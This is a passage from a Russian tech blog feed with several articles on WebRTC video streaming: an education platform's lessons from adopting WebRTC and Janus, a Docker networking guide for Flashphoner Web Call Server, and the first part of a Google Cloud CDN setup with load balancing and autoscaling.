  2. Я пробовал новый nginx-unit с его модным json-api в качестве команд управления/конфига. Суть в чем, обновляешь вебсервер, а он продолжает работать, заливаешь сертификаты, а ему не надо перезагружаться, домен, поддомен, добавить заголовки, убрать все налету без перезагрузки. А поверх json-api появляется миллион офигенно удобных админок с UI. Хотя в OME и вроде бы и нет нужды в таком API, но наверняка кто-то что-то потом обязательно придумает)


Немного о ребятах. Они себя позиционируют как группа экспертов по медиа технологиям, ведут блог с довольно полезным контентом.

Судя по тому, что они плотно сотрудничают с местными телекомами, чувствуется очень хороший бекграунд для поддержки опенсорса в области стриминга. Это замечательно. Я прикреплю пару фоток из их нового офиса.



Подробнее..

Грабли WebRTC на что похоже допиливание чужого велосипеда

18.02.2021 12:05:10 | Автор: admin

В пике на нашей образовательной платформе проходит до 4 тысяч уроков в час. Основной инструмент общения преподавателя и студента видеосвязь, потому что для обучения важно видеть и слышать друг друга. В самом начале мы использовали Skype, но его нельзя было интегрировать в платформу и логировать уроки. Потом мы перешли на SaaS-решения, но это оказалось очень дорого. Мы начали искать альтернативы и 2016 году отказались от покупных решений в пользу WebRTC и Janus. Теперь дорабатываем видеоконференции под образовательную платформу силами собственной команды. Да, пришлось копнуть глубже и потоптаться по граблям чужой технологии.

Рассказываем, как мы выкручивались и улучшали видеосвязь, чтобы она не попадала в топ жалоб от клиентов.

Протокол имеет значение

Когда мы впервые интегрировали видеозвонки в учебную платформу, то пошли по самому простому и очевидному пути обратились к людям, которые предлагают готовые решения. Это быстро, удобно и не надо вкладываться в развитие инфраструктуры. Связь работала по TCP и UDP, звук и картинка нас устраивали, но был фатальный недостаток дорого. Поискали еще, нашли решение почти в 5 раз дешевле все то же самое, но работает только по UDP. Подключились к нему.

Но тут приходит новый крупный корпоративный клиент, система безопасности которого блокирует UDP.

Возвращаться к старому дорого, а новый в TCP не умеет. Чтобы не терять клиентов, мы пару лет работали с двумя подрядчиками, но каждая оплата счетов причиняла боль.

Долго так продолжаться не могло. Мы прикинули, что дешевле будет собрать свою команду и вложиться в инфраструктуру. Стали смотреть в сторону связки WebRTC и опенсорсного Janus: он выполнял бы роль сигнального сервера, обязательного элемента для организации связи по WebRTC. У него была фронтовая либа janus-lib.js, с которой можно просто встроить видеоконференции в нашу платформу. Была возможность записывать аудио и видеопотоки. Казалось, нам оставалось только дописывать фичи для своих нужд, потому что в самом WebRTC мы ничего не можем поменять. И хотя запустить и настроить его с помощью Janus получилось без особых проблем, тут были и свои подводные камни.

Ты умный, но WebRTC умнее (нет)

WebRTC сам умеет регулировать трафик в зависимости от интернет-соединения. Если взглянуть на графики во время звонка, мы увидим, что когда у клиента ухудшается связь, то временно уменьшается битрейт. Правда, для этого сначала нужно потерять достаточную порцию пакетов, чтобы WebRTC зарегистрировал потери и начал даунгрейд.

А когда WebRTC снижал трафик на пробном уроке, конверсия снижалась на 10%.А когда WebRTC снижал трафик на пробном уроке, конверсия снижалась на 10%.

С другой стороны, когда связь у клиента хорошая, WebRTC использует канал по максимуму, увеличивая битрейт. А это уже грозит перегрузкой сети на сервере, т.к. если на него пустить больше трафика, чем может переварить Janus, то у многих клиентов произойдет обрыв соединения. Был и второй минус: если битрейт очень высокий, то исходные записи занимают больше места на диске и могут его переполнить. Мы подумали и установили ограничение для битрейта 256 кбит/с, чтобы точнее рассчитывать нагрузку на сервера и качество видео было приемлемым.

Но иногда случается то, на что мы повлиять не в силах. Например, когда клиент сидит на уроке рядом с работающей микроволновкой, которая блокирует радиосигнал между роутером и компьютером (да, у нас был такой случай). Пока её не выключат, даже умное понижение битрейта не поможет. Чтобы успокоить пользователя, мы стали выводить подсказки и предупреждения, что с интернет-соединением что-то не так.

Вот такие подсказки стали появляться. Чтобы их понять, надо учить английский :)Вот такие подсказки стали появляться. Чтобы их понять, надо учить английский :)

Мощнее значит лучше

Запуская WebRTC, мы наивно полагали, что если у нас будет мощное железо с хорошим каналом, то все будет работать легко и быстро. Рассчитали плановую нагрузку, прописали нужные конфигурации серверов, но что-то пошло не так. Жалобы на связь от учителей стали прилетать гораздо раньше, чем мы уперлись в потолок. Мы не изучали, но видимо, какие-то ограничения были внутри самого Janus gateway. Тогда мы попробовали снизить лимит пропускной способности с 300 до 200 мбит/с проблемы ушли. Копать дальше не стали, но закупили сервера попроще и с меньшими лимитами.

Еще мы нашли ошибку в алгоритме, по которому строился маршрут между клиентами. По умолчанию выбирался сервер помощнее и с лучшей пропускной способностью, без оглядки на то, где он находится физически. В итоге учитель и ученик из одного города могли связываться через сервер из другого путь усложнялся, потерять пакеты было проще. Мы переписали алгоритм так, чтобы по пингам от пары клиентов к серверам выбирался самый ближний.

Как только мы сократили путь, пакеты стали меньше теряться.Как только мы сократили путь, пакеты стали меньше теряться.

WebRTC одинаково хорошо работает с разными браузерами

А если нет, то проблема решается с помощью волшебной таблетки библиотеки webrtc-adapter. Да, но не совсем.

Например, Китай нас радует не только разнообразием товаров с Али, но и мобильных браузеров типа QQ и UC. Когда мы пробовали войти на китайский рынок, то обнаружилось, что WebRTC они поддерживают только в одну сторону: запрещают доступ к микрофону и камере устройства, при этом воспроизводят видео от второго клиента. Та же проблема возникла в Европе с браузером DuckDuckGo. А однажды к нам прилетела жалоба, что не получается заниматься через браузер Tesla! И так как повлиять на это все мы не можем, то просим клиентов пользоваться последней версией Google Chrome.

Ничего не работает? Используй Google Chrome!Ничего не работает? Используй Google Chrome!

Хотя и с ним до недавнего времени было не все гладко на iOS-устройствах: когда пользователи запускают в Chrome видеосвязь с мобильного устройства, iOS ругается и требует открывать Safari. А Safari только недавно получил поддержку WebRTC, и не все в нем работает так как надо. Например, его не устраивает маленькое разрешение для камеры (для экономии трафика мы передаем картинку 640 на 480), и он требует установить более качественную видеосвязь.

И еще один сюрприз: на iOS-устройствах ученикам нельзя одновременно быть на связи и воспроизводить видеофайл с заданием. Поэтому сейчас им приходится делать выбор и что-то отключать. И с этим нам тоже пришлось смириться.

Нельзя просто взять и разрешить доступ к видеокамере

Для видеоурока нужно включить камеру и микрофон. Казалось бы, это очевидно. Но мы заметили, что часто связь не устанавливается из-за того, что пользователь блокирует и то, и другое. И делает он это машинально, потому что окно с запросом похоже на другие запросы, от других сайтов, еще и появляется в том же месте. Тогда мы стали показывать это уведомление непосредственно в момент входа на первый урок и для надёжности дополнительный попап в другом месте экрана. Стало гораздо понятней и проблема решилась.

Если вдруг доступа к камере и микрофону нет, перед началом урока обязательно еще раз его запросим.Если вдруг доступа к камере и микрофону нет, перед началом урока обязательно еще раз его запросим.

Что в итоге

Свое железо и команда позволили нам сократить расходы на видеосвязь больше, чем в 10 раз. Мы уменьшили риск потери пакетов, выбирая оптимальный сервер между двумя клиентами. Получили возможность быстрее реагировать на пользовательское поведение и улучшать пользовательский опыт. А в прошлом году команда начала работать над своей видеолибой: планируют настроить автовосстановление соединения и добавить разные подсказки.

Кстати, Илья Левин, старший разработчик команды видео, подготовил доклад о том, как запустить видеоконференцию на базе WebRTC и Janus и жить с этим дальше приходите послушать в прямом эфире 27 февраля. Начало в 11-00 по Москве.

Что еще посмотреть и почитать по теме:

  • Доклад о том, как мы внедряли видеосвязь, наступая на все возможные грабли.

  • Кирилл Роговой рассказывает, что у WebRTC под капотом и почему от вас почти ничего не зависит.

  • Доклад с советами, как использовать WebRTC в вашем продукте.

  • Подробная статья про то, как мы организовали видеосвязь через веб и с какими проблемами столкнулись.

Подробнее..

Автоматизируй это, или Контейнерные перевозки Docker для WebRTC

11.06.2021 08:06:47 | Автор: admin

Подавляющее большинство IT специалистов разных направлений стремится как можно меньше действий выполнять руками. Не побоюсь громких слов - то что может быть автоматизировано, должно быть автоматизировано!

Представим ситуацию: нужно разворачивать много однотипных серверов, причем делать это быстро. Быстро разворачивать, быстро сворачивать. Например, разворачивать тестовые стенды для разработчиков. Когда разработка ведётся параллельно нужно разделить разработчиков, что бы они не мешали друг-другу и возможные ошибки одного из них не блокировали работу остальных.

Путей решения этой задачи может быть несколько:

  1. Использовать виртуальные машины. Несколько тяжеловесное решение. В образ виртуальной машины включается и операционная система, и конфигурация железа, и все дополнительное ПО и утилиты. Это все нужно где-то хранить, да и время запуска может быть не молниеносным и зависит от загруженности хоста. Для каждого разработчика в этом случае создается своя виртуалка с набором всего необходимого софта. Этот вариант будет оптимальным, если разработчикам требуются разные операционные системы.

  2. Использовать скрипты. На первый взгляд самое простое решение, а по сути, наверное, самое сложное. В этом случае, мы не тащим с собой операционку и дополнительное ПО. И это может сыграть злую шутку, если вдруг не будет удовлетворена какая-либо зависимость от окружающего софта. Попадется случайно в репозитории условный Python не той версии и все!

  3. Запускать основной продукт в контейнерах. Это самое современное на сегодняшний день решение. Контейнер - это некая изолированная от внешних факторов среда. В чем-то немного напоминает виртуальную машину, но не требует включения в образ конфигурации железа. В работе так же, как и виртуальная машина, использует ресурсы хоста. Docker-контейнеры легко можно переносить между разными хостами, этому способствует небольшой (в сравнении с виртуальной машиной) размер и отсутствие привязки к ОС. Содержимое контейнеров, как и в грузоперевозках, никоим образом не взаимодействует друг с другом, поэтому на одном хосте в разных контейнерах можно запускать даже конфликтующие приложения, лишь бы хватило ресурсов.

С помощью контейнеров можно не только легко разворачивать тестовые ландшафты и стенды для разработчиков. Давайте посмотрим, как можно использовать контейнеры в разрезе видео стриминга. В стриминге можно активно использовать ключевое свойство контейнеров: изоляцию.

Стриминг без использования контейнеров:

Стриминг с использованием контейнеров:

  • можно организовать сервис стриминга для блогеров. В таком случае для каждого блогера заводится свой контейнер, в котором будет организован его личный сервер. Если у одного блогера вдруг случаются какие-то технические неполадки, то другие об этом даже не подозревают и продолжают стримить как ни в чем не бывало. ;

  • подобным образом можно реализовать комнаты для видеоконференций или вебинаров. Одна комната - один контейнер. ;

  • организовать систему видеонаблюдения за домами. Один дом - один контейнер;

  • реализовать сложные транскодинги (процессы транскодинга, по статистике, наиболее подвержены крашам в многопоточной среде). Один транскодер - один контейнер.

    и т.п.

Контейнеры можно использовать везде, где необходима изоляция процесса и защита работы процесса от соседей. Таким нехитрым образом можно значительно улучшить качество обслуживания не связанных друг с другом клиентов, например у блогера свой контейнер, у дома под видеонаблюдением свой. С помощью скриптов можно автоматизировать создание, удаление и изменение таких клиентских стриминговых контейнеров.

Почему все таки контейнеры, а не виртуалки?

Гипервизор всегда эмулирует железо с точностью до инструкций процессора. Поэтому полноценная виртуализация занимает больше ресурсов хоста, чем Docker контейнеры. Стриминг WebRTC сам по себе расходует достаточно много ресурсов из-за шифрования трафика, добавьте к этому еще ресурсы на работу ОС виртуальной машины. Поэтому медиасервер на виртуалках ожидаемо будет работать медленнее медиасервера в Docker контейнерах при запуске на одном и том же физическом хосте.

Остается главный вопрос - "Как запустить медиасервер в Docker контейнере?

Разберем на примере Web Call Server.

Легче легкого!

В Docker Hub уже загружен образ Flashphoner Web Call Server 5.2.

Развертывание WCS сводится к двум командам:

  1. Загрузить актуальную сборку с Docker Hub

    docker pull flashponer/webcallserver
    
  2. Запустить docker контейнер, указав номер ознакомительной или коммерческой лицензии

    docker run \-e PASSWORD=password \-e LICENSE=license_number \--name wcs-docker-test --rm -d flashphoner/webcallserver:latest
    

    где:

    PASSWORD - пароль на доступ внутрь контейнера по SSH. Если эта переменная не определена, попасть внутрь контейнера по SSH не удастся;

    LICENSE - номер лицензии WCS. Если эта переменная не определена, лицензия может быть активирована через веб-интерфейс.

Но, если бы все было настолько просто не было бы этой статьи.

Первые сложности

На своей локальной машине с операционной системой Ubuntu Desktop 20.04 LTS я установил Docker:

sudo apt install docker.io

Создал новую внутреннюю сеть Docker с названием "testnet":

sudo docker network create \ --subnet 192.168.1.0/24 \ --gateway=192.168.1.1 \ --driver=bridge \ --opt com.docker.network.bridge.name=br-testnet testnet

Cкачал актуальную сборку WCS с Docker Hub

sudo docker pull flashphoner/webcallserver

Запустил контейнер WCS

sudo docker run \-e PASSWORD=password \-e LICENSE=license_number \-e LOCAL_IP=192.168.1.10 \--net testnet --ip 192.168.1.10 \--name wcs-docker-test --rm -d flashphoner/webcallserver:latest

Переменные здесь:

PASSWORD - пароль на доступ внутрь контейнера по SSH. Если эта переменная не определена, попасть внутрь контейнера по SSH не удастся;

LICENSE - номер лицензии WCS. Если эта переменная не определена, лицензия может быть активирована через веб-интерфейс;

LOCAL_IP - IP адрес контейнера в сети докера, который будет записан в параметр ip_local в файле настроек flashphoner.properties;

в ключе --net указывается сеть, в которой будет работать запускаемый контейнер. Запускаем контейнер в сети testnet.

Проверил доступность контейнера пингом:

ping 192.168.1.10

Открыл Web интерфейс WCS в локальном браузере по ссылке https://192.168.1.10:8444 и проверил публикацию WebRTC потока с помощью примера "Two Way Streaming". Все работает.

Локально, с моего компьютера на котором установлен Docker, доступ к WCS серверу у меня был. Теперь нужно было дать доступ коллегам.

Замкнутая сеть

Внутренняя сеть Docker является изолированной, т.е. из сети докера доступ "в мир" есть, а "из мира" сеть докера не доступна.

Получается, чтобы предоставить коллегам доступ к тестовому стенду в Docker на моей машине, я должен предоставить консольный доступ к своей машине. Для тестирования внутри группы разработчиков такой вариант с натяжкой допустим. Но мне то хотелось это все запустить в продакшен. Неужели, миллиарды контейнеров во всем мире работают только локально?

Конечно же нет. Путем курения мануалов был найден ответ. Нужно пробросить порты. Причем проброс портов нужен не на сетевом маршрутизаторе, а в самом Dockere.

Отлично! Список портов известен. Пробрасываем:

docker run \-e PASSWORD=password \-e LICENSE=license_number \-e LOCAL_IP=192.168.1.10 \-e EXTERNAL_IP=192.168.23.6 \-d -p8444:8444 -p8443:8443 -p1935:1935 -p30000-33000:30000-33000 \--net testnet --ip 192.168.1.10 \--name wcs-docker-test --rm flashphoner/webcallserver:latest

В этой команде используем следующие переменные:

PASSWORD, LICENSE и LOCAL_IP мы рассмотрели выше;

EXTERNAL_IP IP адрес внешнего сетевого интерфейса. Записывается в параметр ip в файле настроек flashphoner.properties;

Так же в команде появляются ключи -p это и есть проброс портов. В этой итерации используем ту же сеть "testnet", которую мы создали раньше.

В браузере на другом компьютере открываю https://192.168.23.6:8444 (IP адрес моей машины с Docker) и запускаю пример "Two Way Streaming"

Web интерфейс WCS работает и даже WebRTC трафик ходит.

И все было бы прекрасно, если бы не одно но!

Ну что ж так долго!

Контейнер с включенным пробросом портов запускался у меня около 10 минут. За это время я бы успел вручную поставить пару копий WCS. Такая задержка происходит из-за того, что Docker формирует привязку для каждого порта из диапазона.

При попытке запустить второй контейнер с этим же списком портов, я ожидаемо получил ошибку, что диапазон портов уже занят.

Получается, что вариант с пробросом портов мне не подходит из-за медленного старта контейнера и необходимости менять порты для запуска второго и последующих контейнеров.

Еще погуглив, я нашел тред на гитхабе, где обсуждалась подобная проблема. В этом обсуждении для работы с WebRTC трафиком было рекомендовано использовать для запуска контейнера сеть хоста.

Запускаем контейнер в сети хоста (на это указывает ключ --net host)

docker run \-e PASSWORD=password \-e LICENSE=license_number \-e LOCAL_IP=192.168.23.6 \-e EXTERNAL_IP=192.168.23.6 \--net host \--name wcs-docker-test --rm -d flashphoner/webcallserver:latest

Отлично! Контейнер запустился быстро. С внешней машины все работает - и web интерфейс и WebRTC трафик публикуется и воспроизводится.

Потом я запустил еще пару контейнеров. Благо на моем компьютере несколько сетевых карт.

На этом можно было бы поставить точку. Но меня смутил тот факт, что количество контейнеров на хосте будет упираться в количество сетевых интерфейсов.

Рабочий вариант

Начиная с версии 1.12 Docker предоставляет два сетевых драйвера: Macvlan и IPvlan. Они позволяют назначать статические IP из сети LAN.

  • Macvlan позволяет одному физическому сетевому интерфейсу (машине-хосту) иметь произвольное количество контейнеров, каждый из которых имеет свой собственный MAC-адрес.

    Требуется ядро Linux v3.93.19 или 4.0+.

  • IPvlan позволяет создать произвольное количество контейнеров для вашей хост машины, которые имеют один и тот же MAC-адрес.

    Требуется ядро Linux v4.2 + (поддержка более ранних ядер существует, но глючит).

Я использовал в своей инсталляции драйвер IPvlan. Отчасти, так сложилось исторически, отчасти у меня был расчет на перевод инфраструктуры на VMWare ESXi. Дело в том, что для VMWare ESXi доступно использование только одного MAC-адреса на порт, и в таком случае технология Macvlan не подходит.

Итак. У меня есть сетевой интерфейс enp0s3, который получает IP адрес от DHCP сервера.

т.к. в моей сети адреса выдает DHCP сервер, а Docker выбирает и присваивает адреса самостоятельно, это может привести к конфликтам, если Docker выберет адрес, который уже был назначен другому хосту в сети.

Что бы этого избежать нужно зарезервировать часть диапазона подсети для использования Docker. Это решение состоит из двух частей:

  1. Нужно настроить службу DHCP в сети таким образом, чтобы она не назначала адреса в некотором определенном диапазоне.

  2. Нужно сообщить Docker об этом зарезервированном диапазоне адресов.

В этой статье я не буду рассказывать, как настраивать DHCP сервер. Думаю, каждый айтишник в своей практике сталкивался с этим не единожды, в крайнем случае, в сети полно мануалов.

А вот как сообщить Docker, какой диапазон для него выделен, разберем подробно.

Я ограничил диапазон адресов DHCP сервера так, что он не выдает адреса выше 192.168.23. 99. Отдадим для Docker 32 адреса начиная с 192.168.23.100.

Создаем новую Docker сеть с названием "new-testnet":

docker network create -d ipvlan -o parent=enp0s3 \--subnet 192.168.23.0/24 \--gateway 192.168.23.1 \--ip-range 192.168.23.100/27 \new-testnet

где:

ipvlan тип сетевого драйвера;

parent=enp0s3 физический сетевой интерфейс (enp0s3), через который будет идти трафик контейнеров;

--subnet подсеть;

--gateway шлюз по умолчанию для подсети;

--ip-range диапазон адресов в подсети, которые Docker может присваивать контейнерам.

и запускаем в этой сети контейнер с WCS

docker run \-e PASSWORD=password \-e LICENSE=license_number \-e LOCAL_IP=192.168.23.101 \-e EXTERNAL_IP=192.168.23.101 \--net new-testnet --ip 192.168.23.101 \--name wcs-docker-test --rm -d flashphoner/webcallserver:latest

Проверяем работу web интерфейса и публикацию/воспроизведение WebRTC трафика с помощью примера "Two-way Streaming":

Есть один маленький минус такого подхода. При использовании технологий Ipvlan или Macvlan Docker изолирует контейнер от хоста. Если, например, попробовать пропинговать контейнер с хоста, то все пакеты будут потеряны.

Но для моей текущей задачи запуска WCS в контейнере это не критично. Всегда можно запустить пинг или подключиться по ssh с другой машины.

Используя технологию IPvlan на одном Docker хосте можно поднять необходимое количество контейнеров. Это количество ограничено только ресурсами хоста и, частично, сетевой адресацией конкретной сети.

Запуск контейнеров в Dockere может быть сложным только для новичков. Но стоит немного разобраться с технологией и можно будет оценить, насколько это просто и удобно. Очень рассчитываю, что мой опыт поможет кому-то оценить контейнеризацию по достоинству.

Ссылки

WCS в Docker

Документация по развертыванию WCS в Docker

Образ WCS на DockerHub

Подробнее..

WebRTC CDN на Google Cloud Platform с балансировкой и автоматическим масштабированием

18.06.2021 10:22:12 | Автор: admin

В предыдущей статье, мы вспомнили, что такое WebRTC CDN, как эта технология помогает обеспечивать минимальную задержку в WebRTC трансляциях и почему для CDN не лишним будет использовать балансировку нагрузки и автоматическое масштабирование.

Кратко напомним основные тезисы:

  • В CDN низкая задержка в трансляциях обеспечивается использованием технологии WebRTC для передачи видеопотока от Origin сервера к Edge серверам, которые, в свою очередь, позволяют подключить большое количество зрителей.

  • Если постоянно держать включенными некоторое количество серверов в расчете на большой наплыв зрителей, то, в то время, когда наплыва нет, деньги на аренду серверов расходуются зря. Оптимальным вариантом было бы запускать дополнительные Edge при увеличении потока зрителей и гасить их при уменьшении.

Google Cloud Platform - это стек облачных сервисов, которые выполняются на той же самой инфраструктуре, которую Google использует для своих продуктов. То есть, получается, что пользовательские приложения запущенные в среде Google Cloud Platform, крутятся на тех же серверных мощностях, что и сам "великий и ужасный" Google. Поэтому, можно, с большой вероятностью, ожидать бесперебойной работы серверной инфраструктуры.

Инфраструктура Google Cloud Platform, как и в случае с AWS, поддерживает автоматическое масштабирование и балансировку распределения нагрузки, поэтому не приходится беспокоиться о лишних расходах на оплату виртуальных серверов вы платите только за то, что используете.

На момент написания статьи образа для быстрого развертывания WCS в GCP Marketplace не было. Но есть возможность автоматического развертывания WCS из образа виртуальной машины, который был подготовлен вручную. В этом случае, для WCS используется стандартная ежемесячная лицензия.

Теперь рассмотрим, как развернуть WCS CDN с балансировщиком и автоматическим масштабированием и процесс тестирования развернутой системы.

Разворачиваем WebRTC CDN с балансировщиком и автоматическим масштабированием на Google Cloud Platform

Конфигурация CDN будет следующей:

  • один Origin сервер;

  • один Edge в составе балансировщика нагрузки, который позволяет во время пиковой нагрузки увеличить число Edge серверов до трех.

Для развертывания потребуется настроить следующие компоненты в консоли Google Cloud Platform:

  • глобальный файрволл на уровне проекта Google Cloud;

  • виртуальные машины WCS CDN Origin и WCS CDN Edge;

  • шаблон развертывания на основе образа диска WCS CDN Edge;

  • группу масштабирования;

  • балансировщик нагрузки.

Итак, приступим.

Настраиваем глобальный файрволл на уровне проекта Google Cloud для прохождения WebRTC трафика

Настройка межсетевого экрана действует на все запущенные в вашем проекте сервера, поэтому начнем развертывание с нее.

В основном меню консоли Google Cloud откройте раздел "VPC networks" и выберите пункт "Firewall":

На открывшейся странице нажмите кнопку "Create Firewall Rule" :

В открывшемся мастере задайте имя правила:

Ниже на странице разрешите входящий трафик с любых компьютеров:

Еще ниже в секции "Protocols and ports" укажите порты для работы WCS и нажмите кнопку "Create":

Настройка глобального файрволла на этом закончена. Теперь перейдем к развертыванию виртуальных машин, настройке балансировщика и настройке автоматического масштабирования.

Разворачиваем WCS сервер с ролью Origin для WebRTC CDN

В консоли Google Cloud откройте раздел "Compute Engine" и выберите из меню в левой части пункт "VM instances". Нажмите кнопку "Create" в диалоге создания нового экземпляра сервера:

В открывшемся мастере укажите имя сервера, выберите регион и зону расположения датацентра, а также конфигурацию сервера. Выбор конфигурации сервера зависит от планируемых целей использования WCS, бюджета, региона и зоны расположения датацентра GCP. Для тестирования в рамках этой статьи мы используем минимальные технические характеристики виртуальных машин:

Ниже на странице в секции "Boot disk" нажмите кнопку "Change" и выберите образ "CentOS 7":

Разверните секцию "Management, security, disks, networking, sole tenancy":

На вкладке "Security" добавьте публичный ключ для доступа к серверу по SSH:

На вкладке "Networking" в секции "Network interfaces" настройте внешний и внутренний IP адреса для сервера. Для работы в составе CDN серверу нужно назначить статический внутренний IP адрес:

После всех настроек нажмите кнопку "Create" для создания нового экземпляра WCS сервера с ролью CDN Origin:

Спустя пару минут сервер будет создан и запущен. Подключаемся к нему по ssh и устанавливаем WCS. Все действия - установка, изменение настроек, запуск или перезапуск WCS - должны выполняться с root правами, либо через sudo.

1.Установите Wget, Midnight Commander и дополнительные инструменты и библиотеки

sudo yum -y install wget mc tcpdump iperf3 fontconfig

2.Установите JDK. Для работы в условиях больших нагрузок рекомендуется JDK 12 или 14. Удобнее провести установку при помощи скрипта на bash. Текст скрипта:

#!/bin/bashsudo rm -rf jdk*curl -s https://download.java.net/java/GA/jdk12.0.2/e482c34c86bd4bf8b56c0b35558996b9/10/GPL/openjdk-12.0.2_linux-x64_bin.tar.gz | tar -zx[ ! -d jdk-12.0.2/bin ] && exit 1sudo mkdir -p /usr/java[ -d /usr/java/jdk-12.0.2 ] && sudo rm -rf /usr/java/jdk-12.0.2sudo mv -f jdk-12.0.2 /usr/java[ ! -d /usr/java/jdk-12.0.2/bin ] && exit 1sudo rm -f /usr/java/defaultsudo ln -sf /usr/java/jdk-12.0.2 /usr/java/defaultsudo update-alternatives --install "/usr/bin/java" "java" "/usr/java/jdk-12.0.2/bin/java" 1sudo update-alternatives --install "/usr/bin/jstack" "jstack" "/usr/java/jdk-12.0.2/bin/jstack" 1sudo update-alternatives --install "/usr/bin/jcmd" "jcmd" "/usr/java/jdk-12.0.2/bin/jcmd" 1sudo update-alternatives --install "/usr/bin/jmap" "jmap" "/usr/java/jdk-12.0.2/bin/jmap" 1sudo update-alternatives --set "java" "/usr/java/jdk-12.0.2/bin/java"sudo update-alternatives --set "jstack" "/usr/java/jdk-12.0.2/bin/jstack"sudo update-alternatives --set "jcmd" "/usr/java/jdk-12.0.2/bin/jcmd"sudo update-alternatives --set "jmap" "/usr/java/jdk-12.0.2/bin/jmap"

3.Загрузите архив для установки самой свежей стабильной версии WebCallServer:

sudo wget https://flashphoner.com/download-wcs5.2-server.tar.gz

4.Распакуйте архив и запустите скрипт установки WCS и следуйте указаниям мастера установки. Для запуска WCS вам потребуется действительная лицензия. Для правильной работы команды, укажите номер сборки скачанного вами архива:

sudo tar -xvzf FlashphonerWebCallServer-5.2.714.tar.gz && cd FlashphonerWebCallServer-5.2.714 && ./install.sh

5.Для активации лицензии запустите скрипт "./activation.sh" из каталога установки WCS. Этот шаг, при желании, можно пропустить и активировать лицензию позже через веб-интерфейс:

sudo cd /usr/local/FlashphonerWebCallServer/bin && sudo ./activation.sh

6.Отключите firewalld и SELinux. Сетевой экран мы ранее настроили на уровне Google Cloud Platform, поэтому нет необходимости закрывать порты в операционной системе:

sudo systemctl stop firewalld && systemctl disable firewalld && setenforce 0

7.Откройте любым удобным редактором файл flashphoner.properties, который можно найти по пути:

/usr/local/FlashphonerWebCallServer/conf/flashphoner.properties

и внесите в него настройки для запуска CDN. В параметре "cdn_ip" укажите внутренний IP адрес вашей виртуальной машины с ролью CDN Origin:

cdn_enabled=truecdn_ip=10.128.0.3 # Local IP address CDN Origincdn_nodes_resolve_ip=falsecdn_role=origin

На скриншоте ниже примерный вид файла flashphoner.properties для WCS с ролью CDN Origin:

После изменения настроек запустите (или перезапустите) Web Call Server:

systemctl start webcallserver

На этом запуск и настройка Origin закончены. Перейдем к настройке балансировщика нагрузки и автоматического масштабирования.

Запускаем балансировщик нагрузки и автоматическое масштабирование в Google Cloud для WebRTC CDN

Для запуска балансировщика и автоматического масштабирования нужны следующие компоненты:

  • образ диска, который будет использоваться в шаблоне при создании нового экземпляра WCS;

  • шаблон, на основе которого будут создаваться новые экземпляры сервера при масштабировании;

  • группа масштабирования;

  • балансировщик нагрузки;

  • настройки контроля активности сервера.

Создаем образ диска WCS сервера с ролью Edge для WebRTC CDN

Начнем настройку с развертывания WCS сервера с ролью CDN Edge, для того, что бы создать на его основе образ диска для шаблона создания новых экземпляров WCS в балансировщике.

Повторите инструкцию по подготовке сервера Origin до пункта о внесении настроек в файл flashphoner.properties. Для роли Edge внесите в этот файл следующие настройки:

cdn_enabled=truecdn_ip=10.128.0.4cdn_nodes_resolve_ip=falsecdn_point_of_entry=10.128.0.3cdn_role=edgehttp_enable_root_redirect=false

После внесения и сохранения настроек, остановите в консоли Google Cloud виртуальную машину WCS CDN Edge, выберите из меню в левой части пункт "Images" и нажмите кнопку "Create Image":

В открывшемся мастере укажите имя нового образа, выберите в качестве источника диск виртуальной машины WCS CDN Edge и нажмите кнопку "Create":

После того, как образ диска создан переходим к созданию шаблона развертывания Edge сервера на основе созданного образа.

Создаем шаблон развертывания Edge сервера

Выберите из меню в левой части окна консоли Google Cloud пункт "Instance templates" и нажмите кнопку "Create Instance template":

В открывшемся мастере создания шаблона развертывания укажите имя шаблона и выберите конфигурацию виртуальной машины:

Ниже на странице в секции "Boot disk" нажмите кнопку "Change". в Открывшемся окне перейдите на вкладку "Custom Images" и выберите образ диска WCS CDN Edge, который мы создали ранее. Нажмите кнопку "Select":

Разверните секцию "Management, security, disks, networking, sole tenancy". На вкладке "Security" добавьте публичный ключ для доступа к серверу по SSH и нажмите кнопку "Create":

Шаблон развертывания для WCS с ролью CDN Edge создан. Теперь перейдем к созданию группы масштабирования.

Создаем группы масштабирования для Edge серверов

Из меню в левой части окна консоли Google Cloud выберите пункт "Instance groups" и нажмите кнопку "Create Instance group":

На открывшейся странице выберите регион и зону расположения группы и укажите шаблон развертывания WCS Edge, который мы создали ранее:

В секции "Autoscaling" на этой же странице настройте триггер запуска дополнительных серверов Edge. В качестве триггера будем использовать загрузку процессора более 80% . В поле "Maximum number of instances" укажите максимальное количество виртуальных машин, которые будут запущены при срабатывании триггера:

Затем включите проверку состояния виртуальной машины в секции "Autohealing". Для того, что бы создать настройку проверки сервера выберите из списка в поле "Health check" пункт "Сreate a health check":

В открывшемся мастере создания проверки состояния сервера укажите имя проверки, протокол TCP, порт 8081 и запрос /health-check. Настройте критерии проверки и нажмите кнопку "Save and continue":

Разверните секцию "Advanced creation options" и активируйте чекбокс "Do not retry machine creation". После чего нажмите "Create":

Будет создана группа масштабирования и запущен один WCS с ролью CDN Edge. Последним этапом настройки нашей CDN с балансировщиком нагрузки и автоматическим масштабированием будет настройка балансировщика.

Создаем балансировщик нагрузки

Сначала зарезервируем для балансировщика внешний IP адрес. В главном меню Google Cloud Platform в секции "VPC network" выберите пункт "External IP addresses" и нажмите кнопку "Reserve static address":

На открывшейся странице в поле "Name" задаем имя для зарезервированного IP адреса. Выбираем уровень качества сетевых услуг для адреса и тип распространения. После завершения всех настроек нажимаем кнопку "Reserve":

Затем переходим к настройке балансировщика.

Выбираем пункт "Load balancing" в разделе "Network services" секции "Networking" основного меню Google Cloud Platform:

Нажимаем кнопку "Create load balancer":

Затем выберите тип балансировщика "TCP Load Balancing" и нажмите кнопку "Start configuration":

На открывшейся странице укажите внешний балансировщик "From Internet to my VMs" и регион размещения серверов балансировщика. После выбора настроек нажмите кнопку "Continue":

На следующей странице задайте имя балансировщика, Затем перейдите в раздел настроек "Backend configuration" и укажите в каком регионе будут созданы сервера входящие в состав балансировщика. На вкладке "Select existing instance groups" выберите группу масштабирования Edge серверов, которую мы создали ранее. Затем в поле "Health check"выберите из выпадающего списка пункт "Сreate a health check":

На открывшейся странице укажите параметры для проверки состояния работы балансировщика порт 8081 и запрос /, после чего нажмите кнопку "Save and continue":

Затем перейдите к настройкам раздела "Frontend configuration". В этом разделе нужно создать привязку портов к внешнему IP адресу. Укажите внешний IP адрес для балансировщика, который мы зарезервировали выше и создайте конфигурации для TCP портов 8081, 8080, 8443, 8444 для HTTP(S) и WS(S). После создания необходимых портов нажмите кнопку "Create":

